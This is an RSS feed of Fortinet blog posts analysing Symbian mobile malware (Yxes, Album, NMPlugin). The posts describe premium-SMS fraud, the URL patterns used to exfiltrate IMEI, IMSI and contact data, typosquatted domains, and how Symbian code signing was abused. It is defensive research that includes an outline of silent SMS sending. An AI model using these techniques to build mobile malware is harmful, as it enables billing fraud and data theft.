<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Fortinet Security Blog &#187; symbos/yxes</title>
	<atom:link href="http://blog.fortinet.com/tag/symbosyxes/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fortinet.com</link>
	<description>Real Time Network Protection</description>
	<lastBuildDate>Wed, 08 Sep 2010 16:35:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Fortinet Product Marketing </copyright>
		<managingEditor>jleggio@fortinet.com (Fortinet Product Marketing)</managingEditor>
		<webMaster>jleggio@fortinet.com(Fortinet Product Marketing)</webMaster>
		<category>Fortinet Product Information</category>
		<ttl>1440</ttl>
		<itunes:keywords>forti-gate, anti-spam, anti-virus, fortigate</itunes:keywords>
		<itunes:subtitle>The latest news and information about Fortinet products and services for Real Time Network Protection.</itunes:subtitle>
		<itunes:summary>Fortinet is a leading provider of Unified Threat Management (UTM) network security solutions for enterprise and service provider environments. The Fortinet FortiCast delivers news, information, and tutorials about products, services, and industry trends. Fortinet's FortiGate product line and FortiGuard security subscription services provide an array of integrated network security functions including antivirus, firewall, virtual private networking, intrusion prevention (IPS), web filtering, antispam and traffic optimization. </itunes:summary>
		<itunes:author>Fortinet Product Marketing</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Fortinet Product Marketing</itunes:name>
			<itunes:email>jleggio@fortinet.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-300x300.jpg" />
		<image>
			<url>http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-144x144.jpg</url>
			<title>Fortinet Security Blog</title>
			<link>http://blog.fortinet.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Mobile Malware Sends WAP Push SMS</title>
		<link>http://blog.fortinet.com/mobile-malware-sends-wap-push-sms/</link>
		<comments>http://blog.fortinet.com/mobile-malware-sends-wap-push-sms/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 06:52:18 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[mms]]></category>
		<category><![CDATA[sms]]></category>
		<category><![CDATA[symbos/album]]></category>
		<category><![CDATA[symbos/nmplugin.a!tr]]></category>
		<category><![CDATA[symbos/yxes]]></category>
		<category><![CDATA[wap]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1470</guid>
		<description><![CDATA[I had already seen mobile malware SMS messages with a malicious URL inside (e.g SymbOS/Yxes), or MMS messages (e.g SymbOS/Album.A!tr, SymbOS/Beselo!worm&#8230;)  with a malicious attachment. However I had never noticed a mobile  malware piece sending a WAP Push SMS (special SMS messages typically  used to send ringtones, wallpapers, OTA provisioning etc).
The recent [...]]]></description>
			<content:encoded><![CDATA[<p>I had already seen mobile malware SMS messages with a malicious URL inside (e.g <a href="http://www.fortiguard.com/encyclopedia/virus/symbos_yxes.a%21worm.html">SymbOS/Yxes</a>), or MMS messages (e.g <a href="http://www.fortiguard.com/encyclopedia/virus/symbos_album.a%21tr.html">SymbOS/Album.A!tr</a>, <a href="http://www.fortiguard.com/encyclopedia/virus/symbos_beselo.a%21worm.html">SymbOS/Beselo!worm</a>&#8230;)  with a malicious attachment. However I had never noticed a mobile  malware piece sending a WAP Push SMS (special SMS messages typically  used to send ringtones, wallpapers, OTA provisioning etc).</p>
<p>The recent <a href="http://www.fortiguard.com/encyclopedia/virus/symbos_nmplugin.a%21tr.html">SymbOS/NMPlugin.A!tr </a>does all three ! It sends:</p>
<p>- an MMS, whose title is “Hello Skuller”, and contains an attachment named Sunset.jpg</p>
<p>- a SMS containing a short message and a malicious URL from which to download  another Symbian malware. This message is written in Chinese (it uses the  UCS2 character set) and says something about some of your friends  having uploaded two videos to the malicious URL</p>
<p>- a WAP Push SMS message,  using China Mobile’s cmwap access point, and sent to UDP port 2948.  This port is typically used for WAP Push Service Indication messages  (WAP 167).</p>
<p>WAP  Push Service Indication messages are special SMS meant to notify the  end-user that a new service is operational at a given URL.  Unfortunately, so far, the body of the message hasn’t been identified,  so we cannot be sure this is what the malware is actually sending.  However, if this is the case, a WAP Push Service Indication would be  particularly dangerous for at least two reasons:</p>
<p>First,  WAP Push messages are usually considered as high priority SMS and hence  often automatically displayed on the mobile phone (see ‘signal-high’  parameter in WAP 167). For an attacker, this is nice because there are  higher chances the message will be read by the victim.</p>
<p>Second, on some phones, a <a href="http://www.silentservices.de/adv03-2009.html">vulnerability prevents the phone from correctly displaying the originator of the message,</a>so the victim may think the URI is sent by his/her (trusted) operator  (see Figure below). For attackers, the downside is that WAP Push  messages are not supported by all mobile phones.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/08/Samsung_PushSI_advisory.png"><img class="aligncenter size-full wp-image-1469" title="Samsung_PushSI_advisory" src="http://blog.fortinet.com/wp-content/uploads/2010/08/Samsung_PushSI_advisory.png" alt="Samsung_PushSI_advisory" /></a></p>
<p>Figure  1. Example of WAP Push SI message that does not correctly display the  originator. The victim may consequently think the URL comes from a  trusted party (system administrator).</p>
<p>&#8211; the Crypto Girl.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/mobile-malware-sends-wap-push-sms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SymbOS/Album Follows the Path of SymbOS/Yxes</title>
		<link>http://blog.fortinet.com/symbosalbum-follows-the-path-of-symbosyxes/</link>
		<comments>http://blog.fortinet.com/symbosalbum-follows-the-path-of-symbosyxes/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 09:05:01 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[mobile malware]]></category>
		<category><![CDATA[mobile phones]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[sms]]></category>
		<category><![CDATA[symbian]]></category>
		<category><![CDATA[symbos/album]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1386</guid>
		<description><![CDATA[Lately, I have been analyzing a sample of SymbOS/Album.A!tr, another advanced malware targeting mobile phones running Symbian OS 9 and greater.
First of all, once more, like SymbOS/Yxes, this malware was &#8220;legitimately&#8221; signed by Symbian&#8217;s Express Signed program. The certificate is now revoked:
Serial Number: c8:8e:00:01:00:23:db:45:38:bc:e7:2a:d3:03
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
    [...]]]></description>
			<content:encoded><![CDATA[<p>Lately, I have been analyzing a sample of <a title="SymbOS/Album.A!tr" href="http://www.fortiguard.com/encyclopedia/virus/symbos_album.a%21tr.html">SymbOS/Album.A!tr</a>, another advanced malware targeting mobile phones running Symbian OS 9 and greater.</p>
<p>First of all, once more, <a title="like SymbOS/Yxes, this malware was &quot;legitimately&quot; signed by Symbian's Express Signed program" href="http://blog.fortinet.com/symbian-certificates-or-how-symbosyxes-got-signed/">like SymbOS/Yxes, this malware was &#8220;legitimately&#8221; signed by Symbian&#8217;s Express Signed program</a>. The certificate is now revoked:</p>
<pre>Serial Number: c8:8e:00:01:00:23:db:45:38:bc:e7:2a:d3:03
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
    Not Before: Nov 20 05:00:02 2009 GMT
    Not After : Nov 21 05:00:02 2019 GMT
Subject: C=CN, ST=guangdong, L=shenzhen,
O=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.,
OU=PF_V100  1.0.0,
OU=Symbian Signed ContentID,
CN=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.</pre>
<p>Like <a title="SymbOS/Yxes" href="http://www.fortiguard.com/encyclopedia/virus/symbos_yxes.e%21worm.html">SymbOS/Yxes</a>, SymbOS/Album has the capability to silently send SMS messages. It does not do it the same way though: <a title="Yxes uses the RSendAs class" href="http://blog.fortinet.com/how-to-send-an-sms-the-geeky-way/">Yxes uses the RSendAs class</a>, whereas Album uses a non-official Symbian API named <a title="EasyDgm" href="http://developer.symbian.org/wiki/index.php/File:EasyDgmAPI.zip">EasyDgm</a> API (Easy Datagram API). This API sends SMS messages via sockets. Check out the API&#8217;s source code for more details, but basically, this is how it works:</p>
<ol>
<li>open a socket (RSocket) and select the SMS protocol: iSocket.Open(iSocketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol);</li>
<li>create a stream to write over that socket: RSmsSocketWriteStream writeStream(iSocket);</li>
<li>dump the SMS message in the stream: writeStream &lt;&lt; *smsMsg;</li>
<li>flush all remaining data in the stream: writeStream.CommitL();</li>
</ol>
<p>SMS messages sent that way are not reported in the phone&#8217;s Sent message box, so they are &#8216;invisible&#8217; to the user (but not to his/her future bill !). To see what&#8217;s happening, one must read the phone&#8217;s internal log file, c:\101f401d\logdbu.dat:</p>
<pre>"28/06/2010","15:26","Short message","Outgoing","Not sent",
   "1*1#","10665xxx"...
"28/06/2010","15:24","Short message","Outgoing","Not sent",
   "@id=200@V1.2.0@YOUR IMSI@3","13410252xxx"...</pre>
<p>The log shows the malware tried to send 2 SMS messages, one to the phone number 10665xxx with text &#8220;1*1#&#8221; and the other one to 13410252xxx with a string containing the IMSI. Those SMS messages had no chance to make it to their recipient because they are only valid in China and I am not ;) (and, of course, I had checked manually in the disassembly what numbers the malware was likely to dial before trying !). Unfortunately, several Chinese users have been less lucky and have reported abnormal bill growth (see Figures 1 and 2).</p>
<table border="0" cellspacing="0" cellpadding="3" width="100%" bordercolor="#000000">
<tbody>
<tr>
<td><a href="http://blog.fortinet.com/wp-content/uploads/2010/07/13410252120-complaint-censored.jpg"><img class="aligncenter size-full wp-image-1391" title="13410252120-complaint-censored" src="http://blog.fortinet.com/wp-content/uploads/2010/07/13410252120-complaint-censored.jpg" alt="13410252120-complaint-censored" width="250" height="116" /></a></td>
<td><a href="http://blog.fortinet.com/wp-content/uploads/2010/07/10665-complaint-censored.jpg"><img class="aligncenter size-full wp-image-1389" title="10665-complaint-censored" src="http://blog.fortinet.com/wp-content/uploads/2010/07/10665-complaint-censored.jpg" alt="10665-complaint-censored" width="250" height="166" /></a></td>
</tr>
<tr>
<td>Figure 1. Chinese user complaining his phone dialed 13410252xxx (text translated from Chinese)</td>
<td>Figure 2. Chinese user complaining about unexpected SMS messages to 10665xxx (text translated from Chinese)</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">The number 10665xxx is special. It corresponds to a service provider number, i.e a special number allocated by the operator to so-called &#8220;service providers&#8221;. In that case, the number was allocated by China Mobile to &#8220;Interactive Technology Co., Ltd. Shenzhen Creation&#8221;.</p>
<p>As for the number 13410252xxx, it corresponds to a personal GSM located in Shenzhen, in the Guangdong Province, and it is operated by China Mobile.</p>
<p style="text-align: center;"><a href="http://blog.fortinet.com/wp-content/uploads/2010/07/13410252-location-censored.jpg"><img class="aligncenter size-full wp-image-1390" title="13410252-location-censored" src="http://blog.fortinet.com/wp-content/uploads/2010/07/13410252-location-censored.jpg" alt="13410252-location-censored" width="369" height="183" /></a></p>
<p>Figure 3. Locating number 13410252xxx (translated from Chinese)</p>
<p>Does that ring a bell? Look at the certificate at the top of this post:</p>
<pre>C=CN, ST=guangdong, L=shenzhen</pre>
<p>Yes, the certificate also belongs to an individual/company located in Shenzhen. No proof, but looks likely both belong to the same person.<br />
Note that the names &#8220;Interactive Technology Co&#8221; or &#8220;ZhongXunTianCheng&#8221; may be fake, or impersonated and hence may not correspond to the malware authors.</p>
<p>Thanks to NetQin for sharing this sample.</p>
<p>&#8211; the Crypto Girl</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/symbosalbum-follows-the-path-of-symbosyxes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SymbOS/Yxes goes version 2</title>
		<link>http://blog.fortinet.com/symbosyxes-goes-version-2/</link>
		<comments>http://blog.fortinet.com/symbosyxes-goes-version-2/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 08:32:28 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Mobile Security]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[symbianos]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1018</guid>
		<description><![CDATA[A few days ago we encountered a new variant of the Symbian worm, Yxes, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending &#8216;attractive&#8217; SMS messages. For instance, this new variant sends an SMS with an URL promising private information concerning a Chinese actress. Globally, [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago we encountered <a id="dv1s" title="a new variant of the Symbian worm, Yxes" href="http://www.fortiguard.com/encyclopedia/virus/symbos_yxes.h%21worm.html">a new variant of the Symbian worm, Yxes</a>, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending &#8216;attractive&#8217; SMS messages. For instance, this new variant sends <a id="shst" title="an SMS promising private information concerning a Chinese actress" href="http://www.viruslist.com/en/weblog?calendar=2010-02">an SMS with an URL promising private information concerning a Chinese actress</a>. Globally, the logic (and much of the code) is the same as in previous variants. Yet, there are a few updates, one of the main ones being the use of new remote malicious Java Server Pages.</p>
<p>I guess every analyst has noticed this variant of the malware contacts the following URLs:</p>
<pre>http://XXXX/Jump.jsp?Version=2.0&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...&amp;Source=...
http://XXXX/Kernel.jsp?Version=2.0&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...&amp;Source=...
http://XXXX/KernelPara.jsp?Version=2.0&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...&amp;Source=...</pre>
<p>The PhoneType argument contains the model of the infected phone (e.g nokia3250, nokian95&#8230;), while the PhoneImei and PhoneImsi arguments respectively contain the phone&#8217;s IMEI and IMSI. The Source argument is new to this variant, and its use has not been reversed yet. It could possibly contain the name of the malicious website used to infect the phone.</p>
<p>The first of those JSP pages, <strong>Jump</strong>.jsp, redirects the user to a Chinese mobile social networking site (3g.kaixin001.com then wap.kaixin001.com). Actually, we had already noticed this behaviour in at least 2 former JSP pages used by previous versions.</p>
<p>The second JSP page, <strong>Kernel</strong>.jsp, actually replies the following string (host name removed):</p>
<pre>http://XXXX/download/root/plugucsrv.sisx</pre>
<p>And, from this location, we get a new minor variant of Yxes.D. This is a consistent behavior in Yxes: the worm indeed often works in pairs (e.g variants A, B, D or E download variants C, D or F). In this case, variant H silently downloads and installs a remotely hosted new version of variant D.</p>
<p>Its certificate says:</p>
<pre>Serial Number:
 2a:2f:00:01:00:23:37:98:0c:73:b2:c7:69:17
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
 Not Before: Jan 23 17:55:42 2010 GMT
 Not After : Jan 24 17:55:42 2020 GMT
Subject: C=CN, ST=Fujian, L=XiaMen, O=Xiamen Jindoucheng Tech Co. Ltd.,
OU=plugucsrv  2.1.0, OU=Symbian Signed ContentID,
CN=Xiamen Jindoucheng Tech Co. Ltd.</pre>
<p>A notification has been sent to Symbian, who tells us the certificate should soon be revoked. Meanwhile, be cautious if you encounter a file named plugucsrv.sisx that installs as a &#8216;Setting Wizard&#8217;.</p>
<p>That variant D then actually does most of the malicious work: collect data on the phone, report it back to the malicious web servers and send SMS messages. The URLs it contacts are:</p>
<pre>http://XXXX/bs.jsp?Version=2.1&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...
&amp;PhoneNumber=...&amp;Succeed=...&amp;Fail=...&amp;Source=... &amp;Time=...&amp;Component=...</pre>
<pre>http://XXXX/index.jsp?Version=2.1&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...
&amp;PhoneNumber=...&amp;Succeed=...&amp;Fail=...&amp;Source=... &amp;Time=...&amp;Component=...</pre>
<pre>http://XXXX/number.jsp?Version=2.1&amp;PhoneType=...&amp;PhoneImei=...&amp;PhoneImsi=...
&amp;PhoneNumber=...&amp;Succeed=...&amp;Fail=...&amp;Source=... &amp;Time=...</pre>
<p>The PhoneNumber, Succeed, Fail and Time arguments are obviously used to report contacts listed on the phone. The Succeed and Fail arguments are followed by an integer, probably the number of times that phone number has successfully been called or not.</p>
<p>Quite interestingly, if we try to get http://XXXX/bs.jsp, using a credible user agent (the malicious websites are known to check user agents &#8211; in particular, if it detects Internet Explorer, it responds &#8220;404 Not Found&#8221;):</p>
<pre>SUCCESS reponse: 200 OK
http://hew1ett-packard.com/bs.jsp?</pre>
<p>Notice the letter L of Hewlett has been replaced the number 1 (one).</p>
<p>So, the first malicious web server redirects the requests to another malicious web server, whose name is obviously intentionally crafted to fool the end-user. The URL does not respond any longer. Note that the Yxes worm is already known to use such mispellings:</p>
<ul>
<li> www.megac1jck.com</li>
<li> www.mozi11a.com</li>
<li> www.makt00b.com</li>
<li> www.mediafir8.com</li>
<li> www.megaup10ad.com</li>
</ul>
<p>The third JSP, <strong>KernelPara</strong>.jsp, is still a mystery we have to work on. It returns a file named encrypt_Kernel_Para.txt. If its name is meaningful, it is likely to be an encrypted version of a file named Kernel_Para.txt (the worm already uses files with similar names: Local_Para.txt and Remote_Para.txt). In our case, its content is fixed and 32-byte long. It is not an XOR encrypted URL.</p>
<p>Finally, to evaluate the worm&#8217;s authors progress, it is interesting to follow the dates and versions of samples. The dates are taken from the first validity date in the X.509 certificate used to sign the sample, and the version numbers are included either in the main executable of the sample or in the certificate.</p>
<p style="text-align: center"><img class="aligncenter size-full wp-image-1019" src="http://blog.fortinet.com/wp-content/uploads/2010/03/Yxes-versions.png" alt="Yxes-versions" width="527" height="263" /></p>
<p>Apart from a sporadic &#8216;accident&#8217; end of June 2009 where a version 1.0 goes in the wild (probably an error in versioning), we see the worm authors are continuously working on Yxes since the end of 2008. So <a id="l.yo" title="my first prediction for 2010" href="http://blog.fortinet.com/10-predictions-for-mobile-malware-in-2010/">my first prediction for 2010</a> was nearly bound to be true&#8230;</p>
<p>&#8211; The Crypto Girl</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/symbosyxes-goes-version-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keep your phone healthy: H1N1 vs. SymbOS/Yxes</title>
		<link>http://blog.fortinet.com/keep-your-phone-healthy-h1n1-vs-symbosyxes/</link>
		<comments>http://blog.fortinet.com/keep-your-phone-healthy-h1n1-vs-symbosyxes/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 15:47:00 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cdc]]></category>
		<category><![CDATA[h1n1]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[Mobile Security]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=649</guid>
		<description><![CDATA[Lately, we&#8217;ve been fed with H1N1 flu security measures, with recommendations regarding how to clean our hands, sneeze or cough. I just wonder if we&#8217;d be so obedient if the same recommendations were issued for our computers or phones.
Have a look at the advice below: on the left are CDC&#8217;s recommendations against H1N1. On the [...]]]></description>
			<content:encoded><![CDATA[<p>Lately, we&#8217;ve been fed with H1N1 flu security measures, with recommendations regarding how to clean our hands, sneeze or cough. I just wonder if we&#8217;d be so obedient if the same recommendations were issued for our computers or phones.</p>
<p>Have a look at the advice below: on the left are <a href="http://www.cdc.gov/h1n1flu/">CDC&#8217;s recommendations against H1N1</a>. On the right&#8230; Fortinet&#8217;s recommendations against <a href="http://www.fortiguard.com/encyclopedia/virus/symbos_yxes.a!worm.html">SymbOS/Yxes</a>.</p>
<p><img src="http://blog.fortinet.com/wp-content/uploads/2009/10/h1n1.png" alt="h1n1" class="aligncenter size-full wp-image-658" /></p>
<p>Convinced? Will you follow them?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/keep-your-phone-healthy-h1n1-vs-symbosyxes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transmitter.C is not Yxes.E</title>
		<link>http://blog.fortinet.com/transmitter-c-is-not-yxes-e/</link>
		<comments>http://blog.fortinet.com/transmitter-c-is-not-yxes-e/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 07:31:09 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[mobile threat]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[sexy view]]></category>
		<category><![CDATA[symbianos]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=510</guid>
		<description><![CDATA[There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, here and here), is not sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.
Why ? As a matter of fact, several issues startled [...]]]></description>
			<content:encoded><![CDATA[<p>There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, <a href="http://ddanchev.blogspot.com/2009/07/transmitterc-mobile-malware-in-wild.html">here</a> and <a href="http://cyberinsecure.com/mobile-malware-transmitterc-spreading-in-the-wild">here</a>), is <strong>not</strong> sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.</p>
<p>Why ? As a matter of fact, several issues startled me (ordered from weakest to strongest point):</p>
<p>1. Transmitter.C is reported to send a massive amount of SMS messages (<a href="http://cyberinsecure.com/mobile-malware-transmitterc-spreading-in-the-wild">they</a> are talking about 500 SMS). If Transmitter.C is Yxes.E, it is surprising because I cannot see any loop in the code indicating numerous copies of SMS are sent out, but of course, that would depend on the amount of contacts and SMS stored in the infected phone. Strange though. In Yxes.E, I do see the piece of code that sends SMS messages (see picture below), but I haven&#8217;t spotted any function calling it yet. The malicious code might be bugged. And, as a matter of fact, on the Nokia N95 I tried it on, Yxes.E did not succeed to send <strong>any</strong> SMS at all.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.fortinet.com/wp-content/uploads/2009/08/sendMsg.jpg" alt="SMS sending routing in SymbOS/Yxes" width="611" height="341" /><br />
Figure 1. Assembly routine sending an SMS &#8211; disassembled with IDA Pro. The routine connects to the SendAs server. Then it creates a message object, sets the recipient (&#8221;to&#8221;) and finally the message body.</p>
<p>2. The <a href="http://1.bp.blogspot.com/_wICHhTiQmrA/SlTaQpD0KFI/AAAAAAAAD6g/85fTOZfLxc8/s1600-h/transmitter.c_netquin_2.jpg">screenshot of the SMS message</a> mentions the string &#8220;A very sexy girl, Try it now!&#8221; with a link to a website hosting sexySpace.sisx. But, quite strangely, this string is nowhere to be found in the executable inside sexySpace.sisx (AcsServer.exe) nor in other resources. No, it is definetely not in Yxes.E. Of course, it could be dynamically decrypted from data in the executable, but then, why are similar strings in cleartext in Yxes.D (&#8221;A very interesting sexy game!try it soon!&#8221;) ?</p>
<p>3. Last but not least, Transmitter.C is said to spread as a <a href="http://cyberinsecure.com/mobile-malware-transmitterc-spreading-in-the-wild">trojaned version of a legitimate application named &#8216;Advanced Device Locks&#8217;</a>, but sexySpace.sisx does not install as &#8216;Advanced Device Locks&#8217; at all: it installs under the name &#8216;Sexy Space&#8217; and does not include any part of the Advanced Device Locks application. That does not sound like the right sample at all.</p>
<p>To my opinion, Transmitter.C is not sexySpace.sisx, and thus not SymbOS/Yxes.E!worm. In that case, the <a href="http://1.bp.blogspot.com/_wICHhTiQmrA/SlTaQpD0KFI/AAAAAAAAD6g/85fTOZfLxc8/s1600-h/transmitter.c_netquin_2.jpg">SMS screenshot</a> should probably be credited to Transmitter.C (and not SymbOS/Yxes.E!worm), which is interesting, because it includes a link to a website hosting sexySpace.sisx. This means Transmitter.C can be seen as a kind of dropper that tries to spread SymbOS/Yxes.E!worm.</p>
<p>&#8211; The Crypto Girl.</p>
<p>PS. By the way, if you encounter a sample of Transmitter.C please be forward it to <a href="mailto:submitvirus@fortinet.com">submitvirus (at) fortinet.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/transmitter-c-is-not-yxes-e/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symbian Certificates or &#8216;How SymbOS/Yxes Got Signed&#8217;</title>
		<link>http://blog.fortinet.com/symbian-certificates-or-how-symbosyxes-got-signed/</link>
		<comments>http://blog.fortinet.com/symbian-certificates-or-how-symbosyxes-got-signed/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 17:09:17 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[symbianos]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=452</guid>
		<description><![CDATA[In case you are not familiar with the Symbian development process, application development features two major security meatures in Symbian OS 9.1 and greater. First, applications must specify their capabilities, i.e if an application uses Bluetooth connection, it must have the Symbian LocalServices capability. A few other interesting capabilities for malware are:
* NetworkServices: required to [...]]]></description>
			<content:encoded><![CDATA[<p>In case you are not familiar with the Symbian development process, application development features two major security meatures in Symbian OS 9.1 and greater. First, applications must specify their capabilities, i.e if an application uses Bluetooth connection, it must have the Symbian LocalServices capability. A few other interesting capabilities for malware are:</p>
<p>* NetworkServices: required to make a call, send HTTP requests etc.<br />
* ReadUserData/WriteUserData: required to read/write user&#8217;s contacts.<br />
* UserEnvironment: to use the camera.<br />
* Location: particularly interesting for spywares, to locate the phone.<br />
* PowerMgmt: to kill applications.<br />
* ReadDeviceData/WriteDeviceData: typically used to get the IMEI</p>
<p>Second, applications must be signed: unsigned applications can no longer be installed (unless the phone is hacked). There are at least 5 ways to sign applications:</p>
<p>* self-sign your application: this is the quickest way to sign an application. It can easily be done, offline, with Carbide.C++ (Symbian development IDE). But, of course, the application installs with a huge security warning.</p>
<p>* use Symbian&#8217;s <a href="https://www.symbiansigned.com/app/page/public/openSignedOnline.do">Open Signed Online</a>: this is meant as an on-line testing facility. Applications are posted on the website, and signed in a few hours.</p>
<p>* get a certificate from the Chinese website <a href="http://www.opda.net.cn">OPDA</a>: this technique was mainly useful before Symbian opened its Open Signed Online service. Now, it shows less interest, unless one speaks Chinese. Yet, several tutorials explain how to get a certificate from this website for those who do not understand a word of Chinese. The first signature is free.</p>
<p>* <a href="https://www.symbiansigned.com">Express Signed</a>: this can be considered as the &#8216;quick&#8217; (express) but official way to get an application signed. Developers need to register using a valid email, not from a public domain (not yahoo, gmail&#8230;). Then, each signature costs US$ 20.</p>
<p>* <a href="https://www.symbiansigned.com">Certified Signed</a>: this is the official / professional way to get applications signed. Developers register on the same web site as for Express Signed, but must get an Application Code Signing (ACS) Publisher ID (costs US$ 200) to identify. The signing process may be long, as the application undergoes several quality tests.</p>
<p>The table below summarizes the limitations of each method.</p>
<table border="1" cellspacing="1" cellpadding="3" frame="hsides" rules="rows">
<tbody>
<tr>
<th>Solution</th>
<th>Install Warning</th>
<th>IMEI restriction (applications are bound to a given IMEI)</th>
<th>Capability restriction</th>
<th>The application undergoes a few tests</th>
</tr>
<tr>
<td>Self-signed</td>
<td>Yes</td>
<td>No</td>
<td>Basic capabilities only: this includes Local and Network Services,<br />
Read/WriteUserData and UserEnvironment. From Symbian OS 9.2,<br />
it also includes the Location capabilities</td>
<td>No</td>
</tr>
<tr>
<td>Open Signed Online or OPDA</td>
<td>No</td>
<td>Yes</td>
<td><a href="https://www.symbiansigned.com/app/page/public/openSignedOnline.do">A few capabilities are forbidden</a>, but most malware shouldn&#8217;t need them</td>
<td>No</td>
</tr>
<tr>
<td>Express Signed</td>
<td>No</td>
<td>No</td>
<td><a href="http://wiki.forum.nokia.com/index.php/Capabilities">A few capabilities are forbidden</a>, but most malware shouldn&#8217;t need them&lt;</td>
<td>Yes, but a limited. Applications are scanned against known viruses.</td>
</tr>
<tr>
<td>Certified Signed</td>
<td></td>
<td>No</td>
<td>No</td>
<td>Nearly all capabilities are available, apart from those granted by <a href="http://wiki.forum.nokia.com/index.php/Capabilities">manufacturers</a></td>
<td>Yes.</td>
</tr>
</tbody>
</table>
<p>So, how do we identify which signing process SymbOS/Yxes variants use ?</p>
